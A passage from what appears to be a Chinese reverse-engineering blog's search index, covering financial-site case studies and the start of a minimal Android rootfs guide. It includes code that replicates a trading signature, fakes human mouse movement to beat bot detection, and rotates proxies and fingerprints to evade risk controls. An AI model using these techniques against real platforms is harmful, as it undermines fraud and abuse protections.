\"eyJhbGciOiJIUzI1NiIs...\", \"private_key\": \"sk_live_1234567890abcdef\" // 用户私钥 } // 存储到 localStorage localStorage.setItem('user_private_key', data.private_key); 3. Python 实现 import hashlib import time import uuid def generate_order_signature(order_data, private_key): # 移除 signature 字段 params = {k: v for k, v in order_data.items() if k != 'signature'} # 参数排序 sorted_params = sorted(params.items()) # 拼接字符串 sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += f'\u0026key={private_key}' # SHA256 return hashlib.sha256(sign_str.encode()).hexdigest() # 下单 order_data = { 'stock_code': '600000', 'action': 'buy', 'price': 13.56, 'quantity': 1000, 'timestamp': int(time.time()), 'nonce': str(uuid.uuid4()) } # 生成签名 private_key = 'sk_live_1234567890abcdef' # 从登录响应获取 order_data['signature'] = generate_order_signature(order_data, private_key) # 发送订单 response = requests.post( 'https://stock.example.com/api/trade/order', json=order_data, headers={'Authorization': f'Bearer {token}'} ) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:4:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#1-定位签名生成函数"},{"categories":null,"collections":null,"content":"逆向分析 1. 定位签名生成函数 在下单按钮上设置断点，追踪调用栈： function generateOrderSignature(orderData) { // 1. 参数排序 const keys = Object.keys(orderData).sort(); // 2. 拼接字符串 let signStr = \"\"; keys.forEach((key) =\u003e { if (key !== \"signature\") { signStr += `${key}=${orderData[key]}\u0026`; } }); // 3. 添加私钥（从 localStorage 获取） const privateKey = localStorage.getItem(\"user_private_key\"); signStr += `key=${privateKey}`; // 4. SHA256 签名 return CryptoJS.SHA256(signStr).toString(); } 2. 私钥获取 私钥在登录成功后存储： // 登录响应 { \"token\": \"eyJhbGciOiJIUzI1NiIs...\", \"private_key\": \"sk_live_1234567890abcdef\" // 用户私钥 } // 存储到 localStorage localStorage.setItem('user_private_key', data.private_key); 3. Python 实现 import hashlib import time import uuid def generate_order_signature(order_data, private_key): # 移除 signature 字段 params = {k: v for k, v in order_data.items() if k != 'signature'} # 参数排序 sorted_params = sorted(params.items()) # 拼接字符串 sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += f'\u0026key={private_key}' # SHA256 return hashlib.sha256(sign_str.encode()).hexdigest() # 下单 order_data = { 'stock_code': '600000', 'action': 'buy', 'price': 13.56, 'quantity': 1000, 'timestamp': int(time.time()), 'nonce': str(uuid.uuid4()) } # 生成签名 private_key = 'sk_live_1234567890abcdef' # 从登录响应获取 order_data['signature'] = generate_order_signature(order_data, private_key) # 发送订单 response = requests.post( 'https://stock.example.com/api/trade/order', json=order_data, headers={'Authorization': f'Bearer {token}'} ) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:4:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#2-私钥获取"},{"categories":null,"collections":null,"content":"逆向分析 1. 定位签名生成函数 在下单按钮上设置断点，追踪调用栈： function generateOrderSignature(orderData) { // 1. 参数排序 const keys = Object.keys(orderData).sort(); // 2. 拼接字符串 let signStr = \"\"; keys.forEach((key) =\u003e { if (key !== \"signature\") { signStr += `${key}=${orderData[key]}\u0026`; } }); // 3. 添加私钥（从 localStorage 获取） const privateKey = localStorage.getItem(\"user_private_key\"); signStr += `key=${privateKey}`; // 4. SHA256 签名 return CryptoJS.SHA256(signStr).toString(); } 2. 私钥获取 私钥在登录成功后存储： // 登录响应 { \"token\": \"eyJhbGciOiJIUzI1NiIs...\", \"private_key\": \"sk_live_1234567890abcdef\" // 用户私钥 } // 存储到 localStorage localStorage.setItem('user_private_key', data.private_key); 3. Python 实现 import hashlib import time import uuid def generate_order_signature(order_data, private_key): # 移除 signature 字段 params = {k: v for k, v in order_data.items() if k != 'signature'} # 参数排序 sorted_params = sorted(params.items()) # 拼接字符串 sign_str = '\u0026'.join([f\"{k}={v}\" for k, v in sorted_params]) sign_str += f'\u0026key={private_key}' # SHA256 return hashlib.sha256(sign_str.encode()).hexdigest() # 下单 order_data = { 'stock_code': '600000', 'action': 'buy', 'price': 13.56, 'quantity': 1000, 'timestamp': int(time.time()), 'nonce': str(uuid.uuid4()) } # 生成签名 private_key = 'sk_live_1234567890abcdef' # 从登录响应获取 order_data['signature'] = generate_order_signature(order_data, private_key) # 发送订单 response = requests.post( 'https://stock.example.com/api/trade/order', json=order_data, headers={'Authorization': f'Bearer {token}'} ) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:4:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#3-python-实现-1"},{"categories":null,"collections":null,"content":"案例四：反自动化交易检测 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:5:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#案例四反自动化交易检测"},{"categories":null,"collections":null,"content":"背景 金融平台会检测自动化交易行为： 鼠标轨迹分析 操作时间间隔 键盘输入模式 WebGL 指纹 浏览器特征 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:5:1","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#背景-3"},{"categories":null,"collections":null,"content":"检测机制分析 1. 鼠标轨迹收集 // 平台收集鼠标移动轨迹 let mouseTrack = []; document.addEventListener(\"mousemove\", function (e) { mouseTrack.push({ x: e.clientX, y: e.clientY, timestamp: Date.now(), }); }); // 提交订单时一起发送 function submitOrder(orderData) { const payload = { ...orderData, mouse_track: mouseTrack, behavior_score: calculateBehaviorScore(mouseTrack), }; return fetch(\"/api/trade/order\", { method: \"POST\", body: JSON.stringify(payload), }); } function calculateBehaviorScore(track) { // 分析鼠标轨迹是否自然 // 真人：曲线、有抖动、速度变化 // 机器：直线、匀速 let smoothness = 0; for (let i = 1; i \u003c track.length; i++) { const dx = track[i].x - track[i - 1].x; const dy = track[i].y - track[i - 1].y; const distance = Math.sqrt(dx * dx + dy * dy); const time = track[i].timestamp - track[i - 1].timestamp; const speed = distance / time; // 速度变化越大，越像真人 smoothness += Math.abs(speed - (previousSpeed || speed)); previousSpeed = speed; } return smoothness \u003e 100 ? 1 : 0; // 1=真人，0=可疑 } 2. 绕过策略 使用 Selenium 模拟真实行为: from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time import random import numpy as np def generate_bezier_curve(start, end, control_points=2): \"\"\"生成贝塞尔曲线路径（模拟真实鼠标移动）\"\"\" # 随机生成控制点 points = [start] for _ in range(control_points): points.append(( random.randint(min(start[0], end[0]), max(start[0], end[0])), random.randint(min(start[1], end[1]), max(start[1], end[1])) )) points.append(end) # 贝塞尔曲线插值 path = [] for t in np.linspace(0, 1, 50): x = sum([(1-t)**(len(points)-1-i) * t**i * p[0] * np.math.comb(len(points)-1, i) for i, p in enumerate(points)]) y = sum([(1-t)**(len(points)-1-i) * t**i * p[1] * np.math.comb(len(points)-1, i) for i, p in enumerate(points)]) path.append((int(x), int(y))) return path def human_like_click(driver, element): \"\"\"模拟真人点击\"\"\" # 1. 移动到元素附近 location = element.location size = element.size # 随机偏移 target_x = location['x'] + random.randint(5, size['width'] - 5) target_y = location['y'] + random.randint(5, size['height'] - 5) # 生成曲线路径 current_pos = (random.randint(0, 800), random.randint(0, 600)) path = generate_bezier_curve(current_pos, (target_x, target_y)) # 2. 沿曲线移动 actions = ActionChains(driver) for x, y in path: actions.move_by_offset(x - current_pos[0], y - current_pos[1]) actions.pause(random.uniform(0.001, 0.005)) # 随机延迟 current_pos = (x, y) # 3. 点击前停顿 actions.pause(random.uniform(0.1, 0.3)) # 4. 点击 actions.click() actions.perform() # 5. 点击后停顿 time.sleep(random.uniform(0.5, 1.5)) # 使用 driver = webdriver.Chrome() driver.get('https://stock.example.com/trade') buy_button = driver.find_element_by_id('buy-button') human_like_click(driver, buy_button) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:5:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#检测机制分析"},{"categories":null,"collections":null,"content":"检测机制分析 1. 鼠标轨迹收集 // 平台收集鼠标移动轨迹 let mouseTrack = []; document.addEventListener(\"mousemove\", function (e) { mouseTrack.push({ x: e.clientX, y: e.clientY, timestamp: Date.now(), }); }); // 提交订单时一起发送 function submitOrder(orderData) { const payload = { ...orderData, mouse_track: mouseTrack, behavior_score: calculateBehaviorScore(mouseTrack), }; return fetch(\"/api/trade/order\", { method: \"POST\", body: JSON.stringify(payload), }); } function calculateBehaviorScore(track) { // 分析鼠标轨迹是否自然 // 真人：曲线、有抖动、速度变化 // 机器：直线、匀速 let smoothness = 0; for (let i = 1; i \u003c track.length; i++) { const dx = track[i].x - track[i - 1].x; const dy = track[i].y - track[i - 1].y; const distance = Math.sqrt(dx * dx + dy * dy); const time = track[i].timestamp - track[i - 1].timestamp; const speed = distance / time; // 速度变化越大，越像真人 smoothness += Math.abs(speed - (previousSpeed || speed)); previousSpeed = speed; } return smoothness \u003e 100 ? 1 : 0; // 1=真人，0=可疑 } 2. 绕过策略 使用 Selenium 模拟真实行为: from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time import random import numpy as np def generate_bezier_curve(start, end, control_points=2): \"\"\"生成贝塞尔曲线路径（模拟真实鼠标移动）\"\"\" # 随机生成控制点 points = [start] for _ in range(control_points): points.append(( random.randint(min(start[0], end[0]), max(start[0], end[0])), random.randint(min(start[1], end[1]), max(start[1], end[1])) )) points.append(end) # 贝塞尔曲线插值 path = [] for t in np.linspace(0, 1, 50): x = sum([(1-t)**(len(points)-1-i) * t**i * p[0] * np.math.comb(len(points)-1, i) for i, p in enumerate(points)]) y = sum([(1-t)**(len(points)-1-i) * t**i * p[1] * np.math.comb(len(points)-1, i) for i, p in enumerate(points)]) path.append((int(x), int(y))) return path def human_like_click(driver, element): \"\"\"模拟真人点击\"\"\" # 1. 移动到元素附近 location = element.location size = element.size # 随机偏移 target_x = location['x'] + random.randint(5, size['width'] - 5) target_y = location['y'] + random.randint(5, size['height'] - 5) # 生成曲线路径 current_pos = (random.randint(0, 800), random.randint(0, 600)) path = generate_bezier_curve(current_pos, (target_x, target_y)) # 2. 沿曲线移动 actions = ActionChains(driver) for x, y in path: actions.move_by_offset(x - current_pos[0], y - current_pos[1]) actions.pause(random.uniform(0.001, 0.005)) # 随机延迟 current_pos = (x, y) # 3. 点击前停顿 actions.pause(random.uniform(0.1, 0.3)) # 4. 点击 actions.click() actions.perform() # 5. 点击后停顿 time.sleep(random.uniform(0.5, 1.5)) # 使用 driver = webdriver.Chrome() driver.get('https://stock.example.com/trade') buy_button = driver.find_element_by_id('buy-button') human_like_click(driver, buy_button) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:5:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#1-鼠标轨迹收集"},{"categories":null,"collections":null,"content":"检测机制分析 1. 鼠标轨迹收集 // 平台收集鼠标移动轨迹 let mouseTrack = []; document.addEventListener(\"mousemove\", function (e) { mouseTrack.push({ x: e.clientX, y: e.clientY, timestamp: Date.now(), }); }); // 提交订单时一起发送 function submitOrder(orderData) { const payload = { ...orderData, mouse_track: mouseTrack, behavior_score: calculateBehaviorScore(mouseTrack), }; return fetch(\"/api/trade/order\", { method: \"POST\", body: JSON.stringify(payload), }); } function calculateBehaviorScore(track) { // 分析鼠标轨迹是否自然 // 真人：曲线、有抖动、速度变化 // 机器：直线、匀速 let smoothness = 0; for (let i = 1; i \u003c track.length; i++) { const dx = track[i].x - track[i - 1].x; const dy = track[i].y - track[i - 1].y; const distance = Math.sqrt(dx * dx + dy * dy); const time = track[i].timestamp - track[i - 1].timestamp; const speed = distance / time; // 速度变化越大，越像真人 smoothness += Math.abs(speed - (previousSpeed || speed)); previousSpeed = speed; } return smoothness \u003e 100 ? 1 : 0; // 1=真人，0=可疑 } 2. 绕过策略 使用 Selenium 模拟真实行为: from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains import time import random import numpy as np def generate_bezier_curve(start, end, control_points=2): \"\"\"生成贝塞尔曲线路径（模拟真实鼠标移动）\"\"\" # 随机生成控制点 points = [start] for _ in range(control_points): points.append(( random.randint(min(start[0], end[0]), max(start[0], end[0])), random.randint(min(start[1], end[1]), max(start[1], end[1])) )) points.append(end) # 贝塞尔曲线插值 path = [] for t in np.linspace(0, 1, 50): x = sum([(1-t)**(len(points)-1-i) * t**i * p[0] * np.math.comb(len(points)-1, i) for i, p in enumerate(points)]) y = sum([(1-t)**(len(points)-1-i) * t**i * p[1] * np.math.comb(len(points)-1, i) for i, p in enumerate(points)]) path.append((int(x), int(y))) return path def human_like_click(driver, element): \"\"\"模拟真人点击\"\"\" # 1. 移动到元素附近 location = element.location size = element.size # 随机偏移 target_x = location['x'] + random.randint(5, size['width'] - 5) target_y = location['y'] + random.randint(5, size['height'] - 5) # 生成曲线路径 current_pos = (random.randint(0, 800), random.randint(0, 600)) path = generate_bezier_curve(current_pos, (target_x, target_y)) # 2. 沿曲线移动 actions = ActionChains(driver) for x, y in path: actions.move_by_offset(x - current_pos[0], y - current_pos[1]) actions.pause(random.uniform(0.001, 0.005)) # 随机延迟 current_pos = (x, y) # 3. 点击前停顿 actions.pause(random.uniform(0.1, 0.3)) # 4. 点击 actions.click() actions.perform() # 5. 点击后停顿 time.sleep(random.uniform(0.5, 1.5)) # 使用 driver = webdriver.Chrome() driver.get('https://stock.example.com/trade') buy_button = driver.find_element_by_id('buy-button') human_like_click(driver, buy_button) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:5:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#2-绕过策略"},{"categories":null,"collections":null,"content":"案例五：实时风控系统绕过 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:6:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#案例五实时风控系统绕过"},{"categories":null,"collections":null,"content":"背景 平台有实时风控系统，监控异常行为： 同一 IP 短时间多次登录 异常交易模式 设备指纹变化 地理位置跳变 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:6:1","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#背景-4"},{"categories":null,"collections":null,"content":"绕过策略 1. 使用代理池 import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): self.proxy_pool = cycle(proxy_list) def get_session(self): proxy = next(self.proxy_pool) session = requests.Session() session.proxies = { 'http': proxy, 'https': proxy } return session # 使用 proxies = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080' ] rotator = ProxyRotator(proxies) for i in range(10): session = rotator.get_session() response = session.get('https://stock.example.com/api/market-data') print(f'Request {i}: {response.status_code}') time.sleep(random.uniform(2, 5)) # 随机延迟 2. 保持设备指纹一致性 class ConsistentBrowser: def __init__(self): self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...' self.headers = { 'User-Agent': self.user_agent, 'Accept-Language': 'zh-CN,zh;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', } self.device_id = self.generate_device_id() def generate_device_id(self): # 生成一次后保持不变 fingerprint = { 'userAgent': self.user_agent, 'screen': '1920x1080', 'timezone': -480 } return hashlib.md5(str(fingerprint).encode()).hexdigest() def request(self, url): headers = self.headers.copy() headers['X-Device-Id'] = self.device_id return requests.get(url, headers=headers) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:6:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#绕过策略"},{"categories":null,"collections":null,"content":"绕过策略 1. 使用代理池 import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): self.proxy_pool = cycle(proxy_list) def get_session(self): proxy = next(self.proxy_pool) session = requests.Session() session.proxies = { 'http': proxy, 'https': proxy } return session # 使用 proxies = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080' ] rotator = ProxyRotator(proxies) for i in range(10): session = rotator.get_session() response = session.get('https://stock.example.com/api/market-data') print(f'Request {i}: {response.status_code}') time.sleep(random.uniform(2, 5)) # 随机延迟 2. 保持设备指纹一致性 class ConsistentBrowser: def __init__(self): self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...' self.headers = { 'User-Agent': self.user_agent, 'Accept-Language': 'zh-CN,zh;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', } self.device_id = self.generate_device_id() def generate_device_id(self): # 生成一次后保持不变 fingerprint = { 'userAgent': self.user_agent, 'screen': '1920x1080', 'timezone': -480 } return hashlib.md5(str(fingerprint).encode()).hexdigest() def request(self, url): headers = self.headers.copy() headers['X-Device-Id'] = self.device_id return requests.get(url, headers=headers) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:6:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#1-使用代理池"},{"categories":null,"collections":null,"content":"绕过策略 1. 使用代理池 import requests from itertools import cycle class ProxyRotator: def __init__(self, proxy_list): self.proxy_pool = cycle(proxy_list) def get_session(self): proxy = next(self.proxy_pool) session = requests.Session() session.proxies = { 'http': proxy, 'https': proxy } return session # 使用 proxies = [ 'http://proxy1.com:8080', 'http://proxy2.com:8080', 'http://proxy3.com:8080' ] rotator = ProxyRotator(proxies) for i in range(10): session = rotator.get_session() response = session.get('https://stock.example.com/api/market-data') print(f'Request {i}: {response.status_code}') time.sleep(random.uniform(2, 5)) # 随机延迟 2. 保持设备指纹一致性 class ConsistentBrowser: def __init__(self): self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...' self.headers = { 'User-Agent': self.user_agent, 'Accept-Language': 'zh-CN,zh;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', } self.device_id = self.generate_device_id() def generate_device_id(self): # 生成一次后保持不变 fingerprint = { 'userAgent': self.user_agent, 'screen': '1920x1080', 'timezone': -480 } return hashlib.md5(str(fingerprint).encode()).hexdigest() def request(self, url): headers = self.headers.copy() headers['X-Device-Id'] = self.device_id return requests.get(url, headers=headers) ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:6:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#2-保持设备指纹一致性"},{"categories":null,"collections":null,"content":"安全建议 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:7:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#安全建议"},{"categories":null,"collections":null,"content":"对于金融平台 多层加密 传输层: TLS 1.3 应用层: RSA + AES 数据库: 字段级加密 动态防护 每次登录更新公钥 Token 短期有效（15 分钟） 签名盐值定期轮换 行为分析 机器学习检测异常 多维度指纹识别 实时风控规则引擎 审计日志 记录所有敏感操作 异常告警 可追溯性 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:7:1","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#对于金融平台"},{"categories":null,"collections":null,"content":"对于研究人员 合法合规 仅在授权范围内研究 不进行实际交易测试 负责任披露漏洞 测试环境 使用演示账户 沙箱环境 不涉及真实资金 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:7:2","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#对于研究人员"},{"categories":null,"collections":null,"content":"相关章节 加密算法识别 浏览器指纹识别 WebSocket 逆向 反爬虫深度分析 ","date":"2025-10-13","objectID":"/reverse_engineering/web/05-case-studies/case_financial/:8:0","tags":["Web","RSA","浏览器指纹","签名验证","Canvas指纹","案例分析"],"title":"金融网站逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_financial/#相关章节"},{"categories":null,"collections":null,"content":"构建最小化 Android 系统 (RootFS) 指南 构建一个完整的 AOSP (Android Open Source Project) 耗时巨大且对硬件要求苛刻。而构建一个最小化的 Android RootFS (Root File System) 是一个能让我们深刻理解 Android 启动流程和核心组件的绝佳实践。其目标是创建一个仅包含最基本组件、能够引导 Linux 内核并最终启动一个交互式 Shell 的系统。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:0:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#构建最小化-android-系统-rootfs-指南"},{"categories":null,"collections":null,"content":"本文将指导你完成这一过程，主要使用 QEMU 作为目标平台。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:1:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#本文将指导你完成这一过程主要使用-qemu-作为目标平台"},{"categories":null,"collections":null,"content":"最小 Android 根文件系统概述 最小 Android 根文件系统（Minimal Android RootFS）是一个被精简到最低限度的 Android 用户空间环境，仅保留运行 Native 二进制文件所必需的核心组件。与完整的 Android 系统（通常包含数 GB 的框架、应用和服务）不同，一个最小 RootFS 通常只有几十 MB： 组件 大小（约） 用途 linker64 ~1 MB 动态链接器 libc.so ~1 MB C 标准库 libm.so / libdl.so ~200 KB 数学库 / 动态加载接口 sh / toybox ~500 KB Shell 和基础命令 init ~300 KB 初始化进程 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:2:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#最小-android-根文件系统概述"},{"categories":null,"collections":null,"content":"为什么逆向工程师需要它 隔离的执行环境：不启动完整 Android 框架即可运行目标 SO，排除框架层干扰 可控的测试条件：精确控制环境中存在哪些库和文件，方便绕过环境检测 快速迭代：无需刷机或重启设备，修改环境后立即测试 反检测规避：APP 的反调试逻辑依赖完整环境中的特定文件和进程，在最小 RootFS 中这些检查点天然缺失 底层学习：深入理解 linker 如何加载 SO、依赖如何解析、JNI 如何初始化 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:2:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#为什么逆向工程师需要它"},{"categories":null,"collections":null,"content":"典型使用场景 场景 1：分析某 APP 的加密 SO 完整设备 → 反调试检测 → 被杀进程 最小 RootFS → 无检测 → 自由调试 场景 2：批量调用签名函数 Frida Hook → 依赖设备、慢 最小 RootFS + dlopen → 脱离设备、快 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:2:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#典型使用场景"},{"categories":null,"collections":null,"content":"核心概念与启动流程 Bootloader: 设备上电后执行的第一段代码，负责初始化硬件并加载 Linux 内核到内存。 Kernel: 内核被加载后，开始初始化各种驱动、内存管理等，然后挂载一个临时的根文件系统 (ramdisk)。 init 进程: 内核在用户空间启动的第一个进程，其 PID 为 1。它是所有其他用户空间进程的祖先。 init.rc: init 进程会解析这个配置文件，根据其中的指令执行动作，如挂载文件系统、设置系统属性、启动服务等。 我们的目标就是创建一个极简的 RootFS，其中包含 init 程序和一个能被它启动的 Shell。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:3:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#核心概念与启动流程"},{"categories":null,"collections":null,"content":"最小系统的核心组件 一个能启动到 Shell 的最小 Android 系统，必须包含以下组件： Linux Kernel: 操作系统的核心。 init: 用户空间的守护神，来自 AOSP 源码 system/core/init。 C 库: libc.so (C 标准库), libm.so (数学库)。所有原生程序都依赖它。 动态链接器: linker 或 linker64，用于加载 .so 动态库。 Shell: sh，我们的交互界面，通常由 toybox 或 toolbox 提供。 init.rc: 一个最简单的配置文件。 基本目录结构: /dev, /proc, /sys, /system/bin。 ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:4:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#最小系统的核心组件"},{"categories":null,"collections":null,"content":"构建方法 除了后续详细讲解的\"从 AOSP 源码交叉编译\"方式外，还有几种常见策略： ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:5:0","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#构建方法"},{"categories":null,"collections":null,"content":"方法一：从 AOSP 编译产物中提取 从完整 AOSP 编译后的 out/target/product/\u003cdevice\u003e/ 目录中提取所需文件： PRODUCT_DIR=/aosp/out/target/product/generic_arm64 ROOTFS=./my_rootfs mkdir -p $ROOTFS/{system/bin,system/lib64,dev,proc,sys,data} # 提取核心二进制和库 cp $PRODUCT_DIR/system/bin/{linker64,toybox,sh} $ROOTFS/system/bin/ cp $PRODUCT_DIR/system/lib64/{libc.so,libm.so,libdl.so,liblog.so} $ROOTFS/system/lib64/ ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:5:1","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#方法一从-aosp-编译产物中提取"},{"categories":null,"collections":null,"content":"方法二：从现有设备提取 如果有已 Root 的设备，通过 adb 直接拉取： ROOTFS=./my_rootfs mkdir -p $ROOTFS/{system/bin,system/lib64} adb pull /system/bin/linker64 $ROOTFS/system/bin/ adb pull /system/bin/toybox $ROOTFS/system/bin/ adb pull /system/lib64/libc.so $ROOTFS/system/lib64/ adb pull /system/lib64/libm.so $ROOTFS/system/lib64/ adb pull /system/lib64/libdl.so $ROOTFS/system/lib64/ ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:5:2","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#方法二从现有设备提取"},{"categories":null,"collections":null,"content":"方法三：从 Factory Image 解包 适用于没有设备也没有编译环境的情况。从 Google 官方 下载 Factory Image，解包 system.img 后提取： unzip image-xxx.zip simg2img system.img system.raw.img mkdir /mnt/android_system sudo mount -o ro system.raw.img /mnt/android_system cp /mnt/android_system/bin/linker64 ./my_rootfs/system/bin/ # ... 提取其他所需文件 sudo umount /mnt/android_system ","date":"2025-10-02","objectID":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/:5:3","tags":["高级","Android","Root检测","ARM汇编","底层原理"],"title":"构建最小化 Android 系统 (RootFS) 指南","uri":"/reverse_engineering/android/04-reference/advanced/minimal_android_rootfs/#方法三从-factory-image-解包"},{"categories":null,"collections":null,"content":"关键目录结构 / (根目录) ├── system/ # 系统分区（只读） │ ├── bin/ # 系统二进制 (linker64, sh, toybox) │ ├── lib64/ # 64位系统共享库 │ └── lib/ # 32位系统共享库 ├── vendor/ # 厂商分区（硬件相关库） │ ├── lib64/ # 厂商64位库 │ └── lib/ # 厂商32位库 ├── data/ # 用户数据分区（可读写） │ ├── app/ # 已安装应用 │ └── local/tmp/ # 临时文件（逆向常用） ├── proc/ # 进程信息（虚拟文件系统） ├── sys/ # 内核参数（虚拟文件系统） ├── dev/ # 设备节点 (null, zero, urandom, pts/) └── init.rc # 初始化配置 各目录在最小 RootFS 中的优先级： 目录 优先级 说明 /system/bin/ 必需 必须包含 linker64 和 sh /system/lib64/ 必需 必须包含 libc.so、libm.so、libdl.so /proc/ 必需 需挂载 procfs，很多程序读取 